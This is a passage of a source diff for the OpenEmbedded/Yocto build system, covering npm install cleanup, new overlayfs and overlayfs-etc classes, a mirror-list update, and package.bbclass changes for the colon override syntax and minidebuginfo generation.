+
+ if [ -d "${NPM_BUILD}/bin" ]
+ then
+ install -d ${D}/${bindir}
+ cp --no-preserve=ownership --recursive ${NPM_BUILD}/bin/. ${D}/${bindir}
+ fi
+
+ # If the package (or its dependencies) uses node-gyp to build native addons,
+ # object files, static libraries or other temporary files can be hidden in
+ # the lib directory. To reduce the package size and to avoid QA issues
+ # (staticdev with static library files) these files must be removed.
+ local GYP_REGEX=".*/build/Release/[^/]*.node"
+
+ # Remove any node-gyp directory in ${D} to remove temporary build files
+ for GYP_D_FILE in $(find ${D} -regex "${GYP_REGEX}")
+ do
+ local GYP_D_DIR=${GYP_D_FILE%/Release/*}
+
+ rm --recursive --force ${GYP_D_DIR}
+ done
+
+ # Copy only the node-gyp release files
+ for GYP_B_FILE in $(find ${NPM_BUILD} -regex "${GYP_REGEX}")
+ do
+ local GYP_D_FILE=${D}/${prefix}/${GYP_B_FILE#${NPM_BUILD}}
+
+ install -d ${GYP_D_FILE%/*}
+ install -m 755 ${GYP_B_FILE} ${GYP_D_FILE}
+ done
+
+ # Remove the shrinkwrap file which does not need to be packed
+ rm -f ${D}/${nonarch_libdir}/node_modules/*/npm-shrinkwrap.json
+ rm -f ${D}/${nonarch_libdir}/node_modules/@*/*/npm-shrinkwrap.json
+
+ # node(1) is using /usr/lib/node as default include directory and npm(1) is
+ # using /usr/lib/node_modules as install directory. Let's make both happy.
+ ln -fs node_modules ${D}/${nonarch_libdir}/node
}
-FILES_${PN} += " \
+FILES:${PN} += " \
${bindir} \
- ${libdir}/node \
- ${NPM_INSTALLDIR} \
+ ${nonarch_libdir} \
"
-EXPORT_FUNCTIONS do_compile do_install
+EXPORT_FUNCTIONS do_configure do_compile do_install
diff --git a/meta/classes/overlayfs-etc.bbclass b/meta/classes/overlayfs-etc.bbclass
new file mode 100644
index 0000000000..91afee695c
--- /dev/null
+++ b/meta/classes/overlayfs-etc.bbclass
@@ -0,0 +1,76 @@
+# Class for setting up /etc in overlayfs
+#
+# In order to have /etc directory in overlayfs a special handling at early boot stage is required
+# The idea is to supply a custom init script that mounts /etc before launching actual init program,
+# because the latter already requires /etc to be mounted
+#
+# The configuration must be machine specific. You should at least set these three variables:
+# OVERLAYFS_ETC_MOUNT_POINT ?= "/data"
+# OVERLAYFS_ETC_FSTYPE ?= "ext4"
+# OVERLAYFS_ETC_DEVICE ?= "/dev/mmcblk0p2"
+#
+# To control more mount options you should consider setting mount options:
+# OVERLAYFS_ETC_MOUNT_OPTIONS ?= "defaults"
+#
+# The class provides two options for /sbin/init generation
+# 1. Default option is to rename original /sbin/init to /sbin/init.orig and place generated init under
+# original name, i.e. /sbin/init. It has an advantage that you won't need to change any kernel
+# parameters in order to make it work, but it poses a restriction that package-management can't
+# be used, becaause updating init manager would remove generated script
+# 2. If you are would like to keep original init as is, you can set
+# OVERLAYFS_ETC_USE_ORIG_INIT_NAME = "0"
+# Then generated init will be named /sbin/preinit and you would need to extend you kernel parameters
+# manually in your bootloader configuration.
+#
+# Regardless which mode you choose, update and migration strategy of configuration files under /etc
+# overlay is out of scope of this class
+
+ROOTFS_POSTPROCESS_COMMAND += '${@bb.utils.contains("IMAGE_FEATURES", "overlayfs-etc", "create_overlayfs_etc_preinit;", "", d)}'
+IMAGE_FEATURES_CONFLICTS_overlayfs-etc = "${@ 'package-management' if bb.utils.to_boolean(d.getVar('OVERLAYFS_ETC_USE_ORIG_INIT_NAME'), True) else ''}"
+
+OVERLAYFS_ETC_MOUNT_POINT ??= ""
+OVERLAYFS_ETC_FSTYPE ??= ""
+OVERLAYFS_ETC_DEVICE ??= ""
+OVERLAYFS_ETC_USE_ORIG_INIT_NAME ??= "1"
+OVERLAYFS_ETC_MOUNT_OPTIONS ??= "defaults"
+OVERLAYFS_ETC_INIT_TEMPLATE ??= "${COREBASE}/meta/files/overlayfs-etc-preinit.sh.in"
+
+python create_overlayfs_etc_preinit() {
+ overlayEtcMountPoint = d.getVar("OVERLAYFS_ETC_MOUNT_POINT")
+ overlayEtcFsType = d.getVar("OVERLAYFS_ETC_FSTYPE")
+ overlayEtcDevice = d.getVar("OVERLAYFS_ETC_DEVICE")
+
+ if not overlayEtcMountPoint:
+ bb.fatal("OVERLAYFS_ETC_MOUNT_POINT must be set in your MACHINE configuration")
+ if not overlayEtcDevice:
+ bb.fatal("OVERLAYFS_ETC_DEVICE must be set in your MACHINE configuration")
+ if not overlayEtcFsType:
+ bb.fatal("OVERLAYFS_ETC_FSTYPE should contain a valid file system type on {0}".format(overlayEtcDevice))
+
+ with open(d.getVar("OVERLAYFS_ETC_INIT_TEMPLATE"), "r") as f:
+ PreinitTemplate = f.read()
+
+ useOrigInit = oe.types.boolean(d.getVar('OVERLAYFS_ETC_USE_ORIG_INIT_NAME'))
+ preinitPath = oe.path.join(d.getVar("IMAGE_ROOTFS"), d.getVar("base_sbindir"), "preinit")
+ initBaseName = oe.path.join(d.getVar("base_sbindir"), "init")
+ origInitNameSuffix = ".orig"
+
+ args = {
+ 'OVERLAYFS_ETC_MOUNT_POINT': overlayEtcMountPoint,
+ 'OVERLAYFS_ETC_MOUNT_OPTIONS': d.getVar('OVERLAYFS_ETC_MOUNT_OPTIONS'),
+ 'OVERLAYFS_ETC_FSTYPE': overlayEtcFsType,
+ 'OVERLAYFS_ETC_DEVICE': overlayEtcDevice,
+ 'SBIN_INIT_NAME': initBaseName + origInitNameSuffix if useOrigInit else initBaseName
+ }
+
+ if useOrigInit:
+ # rename original /sbin/init
+ origInit = oe.path.join(d.getVar("IMAGE_ROOTFS"), initBaseName)
+ bb.debug(1, "rootfs path %s, init path %s, test %s" % (d.getVar('IMAGE_ROOTFS'), origInit, d.getVar("IMAGE_ROOTFS")))
+ bb.utils.rename(origInit, origInit + origInitNameSuffix)
+ preinitPath = origInit
+
+ with open(preinitPath, 'w') as f:
+ f.write(PreinitTemplate.format(**args))
+ os.chmod(preinitPath, 0o755)
+}
diff --git a/meta/classes/overlayfs.bbclass b/meta/classes/overlayfs.bbclass
new file mode 100644
index 0000000000..29fced2ca7
--- /dev/null
+++ b/meta/classes/overlayfs.bbclass
@@ -0,0 +1,119 @@
+# Class for generation of overlayfs mount units
+#
+# It's often desired in Embedded System design to have a read-only rootfs.
+# But a lot of different applications might want to have a read-write access to
+# some parts of a filesystem. It can be especially useful when your update mechanism
+# overwrites the whole rootfs, but you want your application data to be preserved
+# between updates. This class provides a way to achieve that by means
+# of overlayfs and at the same time keeping the base rootfs read-only.
+#
+# Usage example.
+#
+# Set a mount point for a partition overlayfs is going to use as upper layer
+# in your machine configuration. Underlying file system can be anything that
+# is supported by overlayfs. This has to be done in your machine configuration.
+# QA check fails to catch file existence if you redefine this variable in your recipe!
+#
+# OVERLAYFS_MOUNT_POINT[data] ?= "/data"
+#
+# The class assumes you have a data.mount systemd unit defined in your
+# systemd-machine-units recipe and installed to the image.
+#
+# Then you can specify writable directories on a recipe base
+#
+# OVERLAYFS_WRITABLE_PATHS[data] = "/usr/share/my-custom-application"
+#
+# To support several mount points you can use a different variable flag. Assume we
+# want to have a writable location on the file system, but not interested where the data
+# survive a reboot. Then we could have a mnt-overlay.mount unit for a tmpfs file system:
+#
+# OVERLAYFS_MOUNT_POINT[mnt-overlay] = "/mnt/overlay"
+# OVERLAYFS_WRITABLE_PATHS[mnt-overlay] = "/usr/share/another-application"
+#
+# Note: the class does not support /etc directory itself, because systemd depends on it
+# For /etc directory use overlayfs-etc class
+
+REQUIRED_DISTRO_FEATURES += "systemd overlayfs"
+
+inherit systemd features_check
+
+OVERLAYFS_CREATE_DIRS_TEMPLATE ??= "${COREBASE}/meta/files/overlayfs-create-dirs.service.in"
+OVERLAYFS_MOUNT_UNIT_TEMPLATE ??= "${COREBASE}/meta/files/overlayfs-unit.mount.in"
+OVERLAYFS_ALL_OVERLAYS_TEMPLATE ??= "${COREBASE}/meta/files/overlayfs-all-overlays.service.in"
+
+python do_create_overlayfs_units() {
+ from oe.overlayfs import mountUnitName
+
+ with open(d.getVar("OVERLAYFS_CREATE_DIRS_TEMPLATE"), "r") as f:
+ CreateDirsUnitTemplate = f.read()
+ with open(d.getVar("OVERLAYFS_MOUNT_UNIT_TEMPLATE"), "r") as f:
+ MountUnitTemplate = f.read()
+ with open(d.getVar("OVERLAYFS_ALL_OVERLAYS_TEMPLATE"), "r") as f:
+ AllOverlaysTemplate = f.read()
+
+ def prepareUnits(data, lower):
+ from oe.overlayfs import helperUnitName
+
+ args = {
+ 'DATA_MOUNT_POINT': data,
+ 'DATA_MOUNT_UNIT': mountUnitName(data),
+ 'CREATE_DIRS_SERVICE': helperUnitName(lower),
+ 'LOWERDIR': lower,
+ }
+
+ bb.debug(1, "Generate systemd unit %s" % mountUnitName(lower))
+ with open(os.path.join(d.getVar('WORKDIR'), mountUnitName(lower)), 'w') as f:
+ f.write(MountUnitTemplate.format(**args))
+
+ bb.debug(1, "Generate helper systemd unit %s" % helperUnitName(lower))
+ with open(os.path.join(d.getVar('WORKDIR'), helperUnitName(lower)), 'w') as f:
+ f.write(CreateDirsUnitTemplate.format(**args))
+
+ def prepareGlobalUnit(dependentUnits):
+ from oe.overlayfs import allOverlaysUnitName
+ args = {
+ 'ALL_OVERLAYFS_UNITS': " ".join(dependentUnits),
+ 'PN': d.getVar('PN')
+ }
+
+ bb.debug(1, "Generate systemd unit with all overlays %s" % allOverlaysUnitName(d))
+ with open(os.path.join(d.getVar('WORKDIR'), allOverlaysUnitName(d)), 'w') as f:
+ f.write(AllOverlaysTemplate.format(**args))
+
+ mountUnitList = []
+ overlayMountPoints = d.getVarFlags("OVERLAYFS_MOUNT_POINT")
+ for mountPoint in overlayMountPoints:
+ bb.debug(1, "Process variable flag %s" % mountPoint)
+ for lower in d.getVarFlag('OVERLAYFS_WRITABLE_PATHS', mountPoint).split():
+ bb.debug(1, "Prepare mount unit for %s with data mount point %s" %
+ (lower, d.getVarFlag('OVERLAYFS_MOUNT_POINT', mountPoint)))
+ prepareUnits(d.getVarFlag('OVERLAYFS_MOUNT_POINT', mountPoint), lower)
+ mountUnitList.append(mountUnitName(lower))
+
+ # set up one unit, which depends on all mount units, so users can set
+ # only one dependency in their units to make sure software starts
+ # when all overlays are mounted
+ prepareGlobalUnit(mountUnitList)
+}
+
+# we need to generate file names early during parsing stage
+python () {
+ from oe.overlayfs import strForBash, unitFileList
+
+ unitList = unitFileList(d)
+ for unit in unitList:
+ d.appendVar('SYSTEMD_SERVICE:' + d.getVar('PN'), ' ' + unit)
+ d.appendVar('FILES:' + d.getVar('PN'), ' ' +
+ d.getVar('systemd_system_unitdir') + '/' + strForBash(unit))
+
+ d.setVar('OVERLAYFS_UNIT_LIST', ' '.join([strForBash(s) for s in unitList]))
+}
+
+do_install:append() {
+ install -d ${D}${systemd_system_unitdir}
+ for unit in ${OVERLAYFS_UNIT_LIST}; do
+ install -m 0444 ${WORKDIR}/${unit} ${D}${systemd_system_unitdir}
+ done
+}
+
+addtask create_overlayfs_units before do_install
diff --git a/meta/classes/own-mirrors.bbclass b/meta/classes/own-mirrors.bbclass
index a777835138..ef972740ce 100644
--- a/meta/classes/own-mirrors.bbclass
+++ b/meta/classes/own-mirrors.bbclass
@@ -1,13 +1,14 @@
-PREMIRRORS_prepend = " \
-cvs://.*/.* ${SOURCE_MIRROR_URL} \n \
-svn://.*/.* ${SOURCE_MIRROR_URL} \n \
-git://.*/.* ${SOURCE_MIRROR_URL} \n \
-gitsm://.*/.* ${SOURCE_MIRROR_URL} \n \
-hg://.*/.* ${SOURCE_MIRROR_URL} \n \
-bzr://.*/.* ${SOURCE_MIRROR_URL} \n \
-p4://.*/.* ${SOURCE_MIRROR_URL} \n \
-osc://.*/.* ${SOURCE_MIRROR_URL} \n \
-https?$://.*/.* ${SOURCE_MIRROR_URL} \n \
-ftp://.*/.* ${SOURCE_MIRROR_URL} \n \
-npm://.*/?.* ${SOURCE_MIRROR_URL} \n \
+PREMIRRORS:prepend = " \
+cvs://.*/.* ${SOURCE_MIRROR_URL} \
+svn://.*/.* ${SOURCE_MIRROR_URL} \
+git://.*/.* ${SOURCE_MIRROR_URL} \
+gitsm://.*/.* ${SOURCE_MIRROR_URL} \
+hg://.*/.* ${SOURCE_MIRROR_URL} \
+bzr://.*/.* ${SOURCE_MIRROR_URL} \
+p4://.*/.* ${SOURCE_MIRROR_URL} \
+osc://.*/.* ${SOURCE_MIRROR_URL} \
+https?://.*/.* ${SOURCE_MIRROR_URL} \
+ftp://.*/.* ${SOURCE_MIRROR_URL} \
+npm://.*/?.* ${SOURCE_MIRROR_URL} \
+s3://.*/.* ${SOURCE_MIRROR_URL} \
"
diff --git a/meta/classes/package.bbclass b/meta/classes/package.bbclass
index f955df1111..e71daafe94 100644
--- a/meta/classes/package.bbclass
+++ b/meta/classes/package.bbclass
@@ -7,7 +7,7 @@
#
# There are the following default steps but PACKAGEFUNCS can be extended:
#
-# a) package_get_auto_pr - get PRAUTO from remote PR service
+# a) package_convert_pr_autoinc - convert AUTOINC in PKGV to ${PRSERV_PV_AUTOINC}
#
# b) perform_packagecopy - Copy D into PKGD
#
@@ -41,8 +41,6 @@
inherit packagedata
inherit chrpath
inherit package_pkgdata
-
-# Need the package_qa_handle_error() in insane.bbclass
inherit insane
PKGD = "${WORKDIR}/package"
@@ -199,7 +197,7 @@ def do_split_packages(d, root, file_regex, output_pattern, description, postinst
packages = [pkg] + packages
else:
packages.append(pkg)
- oldfiles = d.getVar('FILES_' + pkg)
+ oldfiles = d.getVar('FILES:' + pkg)
newfile = os.path.join(root, o)
# These names will be passed through glob() so if the filename actually
# contains * or ? (rare, but possible) we need to handle that specially
@@ -219,19 +217,19 @@ def do_split_packages(d, root, file_regex, output_pattern, description, postinst
the_files.append(fp % m.group(1))
else:
the_files.append(aux_files_pattern_verbatim % m.group(1))
- d.setVar('FILES_' + pkg, " ".join(the_files))
+ d.setVar('FILES:' + pkg, " ".join(the_files))
else:
- d.setVar('FILES_' + pkg, oldfiles + " " + newfile)
+ d.setVar('FILES:' + pkg, oldfiles + " " + newfile)
if extra_depends != '':
- d.appendVar('RDEPENDS_' + pkg, ' ' + extra_depends)
- if not d.getVar('DESCRIPTION_' + pkg):
- d.setVar('DESCRIPTION_' + pkg, description % on)
- if not d.getVar('SUMMARY_' + pkg):
- d.setVar('SUMMARY_' + pkg, summary % on)
+ d.appendVar('RDEPENDS:' + pkg, ' ' + extra_depends)
+ if not d.getVar('DESCRIPTION:' + pkg):
+ d.setVar('DESCRIPTION:' + pkg, description % on)
+ if not d.getVar('SUMMARY:' + pkg):
+ d.setVar('SUMMARY:' + pkg, summary % on)
if postinst:
- d.setVar('pkg_postinst_' + pkg, postinst)
+ d.setVar('pkg_postinst:' + pkg, postinst)
if postrm:
- d.setVar('pkg_postrm_' + pkg, postrm)
+ d.setVar('pkg_postrm:' + pkg, postrm)
if callable(hook):
hook(f, pkg, file_regex, output_pattern, m.group(1))
@@ -245,6 +243,8 @@ python () {
deps = ""
for dep in (d.getVar('PACKAGE_DEPENDS') or "").split():
deps += " %s:do_populate_sysroot" % dep
+ if d.getVar('PACKAGE_MINIDEBUGINFO') == '1':
+ deps += ' xz-native:do_populate_sysroot'
d.appendVarFlag('do_package', 'depends', deps)
# shlibs requires any DEPENDS to have already packaged for the *.list files
@@ -301,7 +301,7 @@ def get_conffiles(pkg, d):
cwd = os.getcwd()
os.chdir(root)
- conffiles = d.getVar('CONFFILES_%s' % pkg);
+ conffiles = d.getVar('CONFFILES:%s' % pkg);
if conffiles == None:
conffiles = d.getVar('CONFFILES')
if conffiles == None:
@@ -367,7 +367,7 @@ def source_info(file, d, fatal=True):
return list(debugsources)
-def splitdebuginfo(file, dvar, debugdir, debuglibdir, debugappend, debugsrcdir, d):
+def splitdebuginfo(file, dvar, dv, d):
# Function to split a single file into two components, one is the stripped
# target system binary, the other contains any debugging information. The
# two files are linked to reference each other.
@@ -378,7 +378,7 @@ def splitdebuginfo(file, dvar, debugdir, debuglibdir, debugappend, debugsrcdir,
import subprocess
src = file[len(dvar):]
- dest = debuglibdir + os.path.dirname(src) + debugdir + "/" + os.path.basename(src) + debugappend
+ dest = dv["libdir"] + os.path.dirname(src) + dv["dir"] + "/" + os.path.basename(src) + dv["append"]
debugfile = dvar + dest
sources = []
@@ -390,10 +390,6 @@ def splitdebuginfo(file, dvar, debugdir, debuglibdir, debugappend, debugsrcdir,
dvar = d.getVar('PKGD')
objcopy = d.getVar("OBJCOPY")
- # We ignore kernel modules, we don't generate debug info files.
- if file.find("/lib/modules/") != -1 and file.endswith(".ko"):
- return (file, sources)
-
newmode = None
if not os.access(file, os.W_OK) or os.access(file, os.R_OK):
origmode = os.stat(file)[stat.ST_MODE]
@@ -401,7 +397,7 @@ def splitdebuginfo(file, dvar, debugdir, debuglibdir, debugappend, debugsrcdir,
os.chmod(file, newmode)
# We need to extract the debug src information here...
- if debugsrcdir:
+ if dv["srcdir"]:
sources = source_info(file, d)
bb.utils.mkdirhier(os.path.dirname(debugfile))
@@ -416,6 +412,126 @@ def splitdebuginfo(file, dvar, debugdir, debuglibdir, debugappend, debugsrcdir,
return (file, sources)
+def splitstaticdebuginfo(file, dvar, dv, d):
+ # Unlike the function above, there is no way to split a static library
+ # two components. So to get similar results we will copy the unmodified
+ # static library (containing the debug symbols) into a new directory.
+ # We will then strip (preserving symbols) the static library in the
+ # typical location.
+ #
+ # return a mapping of files:debugsources
+
+ import stat
+ import shutil
+
+ src = file[len(dvar):]
+ dest = dv["staticlibdir"] + os.path.dirname(src) + dv["staticdir"] + "/" + os.path.basename(src) + dv["staticappend"]
+ debugfile = dvar + dest
+ sources = []
+
+ # Copy the file...
+ bb.utils.mkdirhier(os.path.dirname(debugfile))
+ #bb.note("Copy %s -> %s" % (file, debugfile))
+
+ dvar = d.getVar('PKGD')
+
+ newmode = None
+ if not os.access(file, os.W_OK) or os.access(file, os.R_OK):
+ origmode = os.stat(file)[stat.ST_MODE]
+ newmode = origmode | stat.S_IWRITE | stat.S_IREAD
+ os.chmod(file, newmode)
+
+ # We need to extract the debug src information here...
+ if dv["srcdir"]:
+ sources = source_info(file, d)
+
+ bb.utils.mkdirhier(os.path.dirname(debugfile))
+
+ # Copy the unmodified item to the debug directory
+ shutil.copy2(file, debugfile)
+
+ if newmode:
+ os.chmod(file, origmode)
+
+ return (file, sources)
+
+def inject_minidebuginfo(file, dvar, dv, d):
+ # Extract just the symbols from debuginfo into minidebuginfo,
+ # compress it with xz and inject it back into the binary in a .gnu_debugdata section.
+ # https://sourceware.org/gdb/onlinedocs/gdb/MiniDebugInfo.html
+
+ import subprocess
+
+ readelf = d.getVar('READELF')
+ nm = d.getVar('NM')
+ objcopy = d.getVar('OBJCOPY')
+
+ minidebuginfodir = d.expand('${WORKDIR}/minidebuginfo')
+
+ src = file[len(dvar):]
+ dest = dv["libdir"] + os.path.dirname(src) + dv["dir"] + "/" + os.path.basename(src) + dv["append"]
+ debugfile = dvar + dest
+ minidebugfile = minidebuginfodir + src + '.minidebug'
+ bb.utils.mkdirhier(os.path.dirname(minidebugfile))
+
+ # If we didn't produce debuginfo for any reason, we can't produce minidebuginfo either
+ # so skip it.
+ if not os.path.exists(debugfile):
+ bb.debug(1, 'ELF file {} has no debuginfo, skipping minidebuginfo injection'.format(file))
+ return
+
+ # Find non-allocated PROGBITS, NOTE, and NOBITS sections in the debuginfo.
+ # We will exclude all of these from minidebuginfo to save space.
+ remove_section_names = []
+ for line in subprocess.check_output([readelf, '-W', '-S', debugfile], universal_newlines=True).splitlines():
+ fields = line.split()
+ if len(fields) < 8:
+ continue
+ name = fields[0]
+ type = fields[1]
+ flags = fields[7]
+ # .debug_ sections will be removed by objcopy -S so no need to explicitly remove them
+ if name.startswith('.debug_'):
+ continue
+ if 'A' not in flags and type in ['PROGBITS', 'NOTE', 'NOBITS']:
+ remove_section_names.append(name)
+
+ # List dynamic symbols in the binary. We can exclude these from minidebuginfo
+ # because they are always present in the binary.
+ dynsyms = set()
+ for line in subprocess.check_output([nm, '-D', file, '--format=posix', '--defined-only'], universal_newlines=True).splitlines():
+ dynsyms.add(line.split()[0])
+
+ # Find all function symbols from debuginfo which aren't in the dynamic symbols table.
+ # These are the ones we want to keep in minidebuginfo.
+ keep_symbols_file = minidebugfile + '.symlist'
+ found_any_symbols = False
+ with open(keep_symbols_file, 'w') as f:
+ for line in subprocess.check_output([nm, debugfile, '--format=sysv', '--defined-only'], universal_newlines=True).splitlines():
+ fields = line.split('|')
+ if len(fields) < 7:
+ continue
+ name = fields[0].strip()
+ type = fields[3].strip()
+ if type == 'FUNC' and name not in dynsyms:
+ f.write('{}\n'.format(name))
+ found_any_symbols = True
+
+ if not found_any_symbols:
+ bb.debug(1, 'ELF file {} contains no symbols, skipping minidebuginfo injection'.format(file))
+ return
+
+ bb.utils.remove(minidebugfile)
+ bb.utils.remove(minidebugfile + '.xz')
+
+ subprocess.check_call([objcopy, '-S'] +
+ ['--remove-section={}'.format(s) for s in remove_section_names] +
+ ['--keep-symbols={}'.format(keep_symbols_file), debugfile, minidebugfile])
+
+ subprocess.check_call(['xz', '--keep', minidebugfile])
+
+ subprocess.check_call([objcopy, '--add-section', '.gnu_debugdata={}.xz'.format(minidebugfile), file])
+
def copydebugsources(debugsrcdir, sources, d):
# The debug src information written out to sourcefile is further processed
# and copied to the destination here.
@@ -492,17 +608,27 @@ def copydebugsources(debugsrcdir, sources, d):
# Package data handling routines
#
-def get_package_mapping (pkg, basepkg, d):
+def get_package_mapping (pkg, basepkg, d, depversions=None):
import oe.packagedata
data = oe.packagedata.read_subpkgdata(pkg, d)
- key = "PKG_%s" % pkg
+ key = "PKG:%s" % pkg
if key in data:
+ if bb.data.inherits_class('allarch', d) and bb.data.inherits_class('packagegroup', d) and pkg != data[key]:
+ bb.error("An allarch packagegroup shouldn't depend on packages which are dynamically renamed (%s to %s)" % (pkg, data[key]))
# Have to avoid undoing the write_extra_pkgs(global_variants...)
if bb.data.inherits_class('allarch', d) and not d.getVar('MULTILIB_VARIANTS') \
and data[key] == basepkg:
return pkg
+ if depversions == []:
+ # Avoid returning a mapping if the renamed package rprovides its original name
+ rprovkey = "RPROVIDES:%s" % pkg
+ if rprovkey in data:
+ if pkg in bb.utils.explode_dep_versions2(data[rprovkey]):
+ bb.note("%s rprovides %s, not replacing the latter" % (data[key], pkg))
+ return pkg
+ # Do map to rewritten package name
return data[key]
return pkg
@@ -523,8 +649,10 @@ def runtime_mapping_rename (varname, pkg, d):
new_depends = {}
deps = bb.utils.explode_dep_versions2(d.getVar(varname) or "")
- for depend in deps:
- new_depend = get_package_mapping(depend, pkg, d)
+ for depend, depversions in deps.items():
+ new_depend = get_package_mapping(depend, pkg, d, depversions)
+ if depend != new_depend:
+ bb.note("package name mapping done: %s -> %s" % (depend, new_depend))
new_depends[new_depend] = deps[depend]
d.setVar(varname, bb.utils.join_deps(new_depends, commasep=False))
@@ -532,12 +660,20 @@ def runtime_mapping_rename (varname, pkg, d):
#bb.note("%s after: %s" % (varname, d.getVar(varname)))
#
-# Package functions suitable for inclusion in PACKAGEFUNCS
+# Used by do_packagedata (and possibly other routines post do_package)
#
+package_get_auto_pr[vardepsexclude] = "BB_TASKDEPDATA"
python package_get_auto_pr() {
import oe.prservice
- import re
+
+ def get_do_package_hash(pn):
+ if d.getVar("BB_RUNTASK") != "do_package":
+ taskdepdata = d.getVar("BB_TASKDEPDATA", False)
+ for dep in taskdepdata:
+ if taskdepdata[dep][1] == "do_package" and taskdepdata[dep][0] == pn:
+ return taskdepdata[dep][6]
+ return None
# Support per recipe PRSERV_HOST
pn = d.getVar('PN')
@@ -549,15 +685,22 @@ python package_get_auto_pr() {
# PR Server not active, handle AUTOINC
if not d.getVar('PRSERV_HOST'):
- if 'AUTOINC' in pkgv:
- d.setVar("PKGV", pkgv.replace("AUTOINC", "0"))
+ d.setVar("PRSERV_PV_AUTOINC", "0")
return
auto_pr = None
pv = d.getVar("PV")
version = d.getVar("PRAUTOINX")
pkgarch = d.getVar("PACKAGE_ARCH")
- checksum = d.getVar("BB_TASKHASH")
+ checksum = get_do_package_hash(pn)
+
+ # If do_package isn't in the dependencies, we can't get the checksum...
+ if not checksum:
+ bb.warn('Task %s requested do_package unihash, but it was not available.' % d.getVar('BB_RUNTASK'))
+ #taskdepdata = d.getVar("BB_TASKDEPDATA", False)
+ #for dep in taskdepdata:
+ # bb.warn('%s:%s = %s' % (taskdepdata[dep][0], taskdepdata[dep][1], taskdepdata[dep][6]))
+ return
if d.getVar('PRSERV_LOCKDOWN'):
auto_pr = d.getVar('PRAUTO_' + version + '_' + pkgarch) or d.getVar('PRAUTO_' + version) or None
@@ -567,17 +710,16 @@ python package_get_auto_pr() {
return
try:
- conn = d.getVar("__PRSERV_CONN")
- if conn is None:
- conn = oe.prservice.prserv_make_conn(d)
+ conn = oe.prservice.prserv_make_conn(d)
if conn is not None:
if "AUTOINC" in pkgv:
srcpv = bb.fetch2.get_srcrev(d)
base_ver = "AUTOINC-%s" % version[:version.find(srcpv)]
value = conn.getPR(base_ver, pkgarch, srcpv)
- d.setVar("PKGV", pkgv.replace("AUTOINC", str(value)))
+ d.setVar("PRSERV_PV_AUTOINC", str(value))
auto_pr = conn.getPR(version, pkgarch, checksum)
+ conn.close()
except Exception as e:
bb.fatal("Can NOT get PRAUTO, exception %s" % str(e))
if auto_pr is None:
@@ -585,6 +727,22 @@ python package_get_auto_pr() {
d.setVar('PRAUTO',str(auto_pr))
}
+#
+# Package functions suitable for inclusion in PACKAGEFUNCS
+#
+
+python package_convert_pr_autoinc() {
+ pkgv = d.getVar("PKGV")
+
+ # Adjust pkgv as necessary...
+ if 'AUTOINC' in pkgv:
+ d.setVar("PKGV", pkgv.replace("AUTOINC", "${PRSERV_PV_AUTOINC}"))
+
+ # Change PRSERV_PV_AUTOINC and EXTENDPRAUTO usage to special values
+ d.setVar('PRSERV_PV_AUTOINC', '@PRSERV_PV_AUTOINC@')
+ d.setVar('EXTENDPRAUTO', '@EXTENDPRAUTO@')
+}
+
LOCALEBASEPN ??= "${PN}"
python package_do_split_locales() {
@@ -621,13 +779,13 @@ python package_do_split_locales() {
ln = legitimize_package_name(l)
pkg = pn + '-locale-' + ln
packages.append(pkg)
- d.setVar('FILES_' + pkg, os.path.join(datadir, 'locale', l))
- d.setVar('RRECOMMENDS_' + pkg, '%svirtual-locale-%s' % (mlprefix, ln))
- d.setVar('RPROVIDES_' + pkg, '%s-locale %s%s-translation' % (pn, mlprefix, ln))
- d.setVar('SUMMARY_' + pkg, '%s - %s translations' % (summary, l))
- d.setVar('DESCRIPTION_' + pkg, '%s This package contains language translation files for the %s locale.' % (description, l))
+ d.setVar('FILES:' + pkg, os.path.join(datadir, 'locale', l))
+ d.setVar('RRECOMMENDS:' + pkg, '%svirtual-locale-%s' % (mlprefix, ln))
+ d.setVar('RPROVIDES:' + pkg, '%s-locale %s%s-translation' % (pn, mlprefix, ln))
+ d.setVar('SUMMARY:' + pkg, '%s - %s translations' % (summary, l))
+ d.setVar('DESCRIPTION:' + pkg, '%s This package contains language translation files for the %s locale.' % (description, l))
if locale_section:
- d.setVar('SECTION_' + pkg, locale_section)
+ d.setVar('SECTION:' + pkg, locale_section)
d.setVar('PACKAGES', ' '.join(packages))
@@ -637,17 +795,23 @@ python package_do_split_locales() {
# glibc-localedata-translit* won't install as a dependency
# for some other package which breaks meta-toolchain
# Probably breaks since virtual-locale- isn't provided anywhere
- #rdep = (d.getVar('RDEPENDS_%s' % pn) or "").split()
+ #rdep = (d.getVar('RDEPENDS:%s' % pn) or "").split()
#rdep.append('%s-locale*' % pn)
- #d.setVar('RDEPENDS_%s' % pn, ' '.join(rdep))
+ #d.setVar('RDEPENDS:%s' % pn, ' '.join(rdep))
}
python perform_packagecopy () {
import subprocess
+ import shutil
dest = d.getVar('D')
dvar = d.getVar('PKGD')
+ # Remove ${D}/sysroot-only if present
+ sysroot_only = os.path.join(dest, 'sysroot-only')
+ if cpath.exists(sysroot_only) and cpath.isdir(sysroot_only):
+ shutil.rmtree(sysroot_only)
+
# Start by package population by taking a copy of the installed
# files to operate on
# Preserve sparse files and hard links
@@ -697,7 +861,7 @@ python fixup_perms () {
self._setdir(lsplit[0], lsplit[1], lsplit[2], lsplit[3], lsplit[4], lsplit[5], lsplit[6], lsplit[7])
else:
msg = "Fixup Perms: invalid config line %s" % line
- package_qa_handle_error("perm-config", msg, d)
+ oe.qa.handle_error("perm-config", msg, d)
self.path = None
self.link = None
@@ -837,7 +1001,7 @@ python fixup_perms () {
continue
if len(lsplit) != 8 and not (len(lsplit) == 3 and lsplit[1].lower() == "link"):
msg = "Fixup perms: %s invalid line: %s" % (conf, line)
- package_qa_handle_error("perm-line", msg, d)
+ oe.qa.handle_error("perm-line", msg, d)
continue
entry = fs_perms_entry(d.expand(line))
if entry and entry.path:
@@ -874,13 +1038,13 @@ python fixup_perms () {
ptarget = os.path.join(os.path.dirname(dir), link)
if os.path.exists(target):
msg = "Fixup Perms: Unable to correct directory link, target already exists: %s -> %s" % (dir, ptarget)
- package_qa_handle_error("perm-link", msg, d)
+ oe.qa.handle_error("perm-link", msg, d)
continue
# Create path to move directory to, move it, and then setup the symlink
bb.utils.mkdirhier(os.path.dirname(target))
#bb.note("Fixup Perms: Rename %s -> %s" % (dir, ptarget))
- os.rename(origin, target)
+ bb.utils.rename(origin, target)
#bb.note("Fixup Perms: Link %s -> %s" % (dir, link))
os.symlink(link, origin)
@@ -901,48 +1065,72 @@ python fixup_perms () {
fix_perms(each_file, fs_perms_table[dir].fmode, fs_perms_table[dir].fuid, fs_perms_table[dir].fgid, dir)
}
+def package_debug_vars(d):
+ # We default to '.debug' style
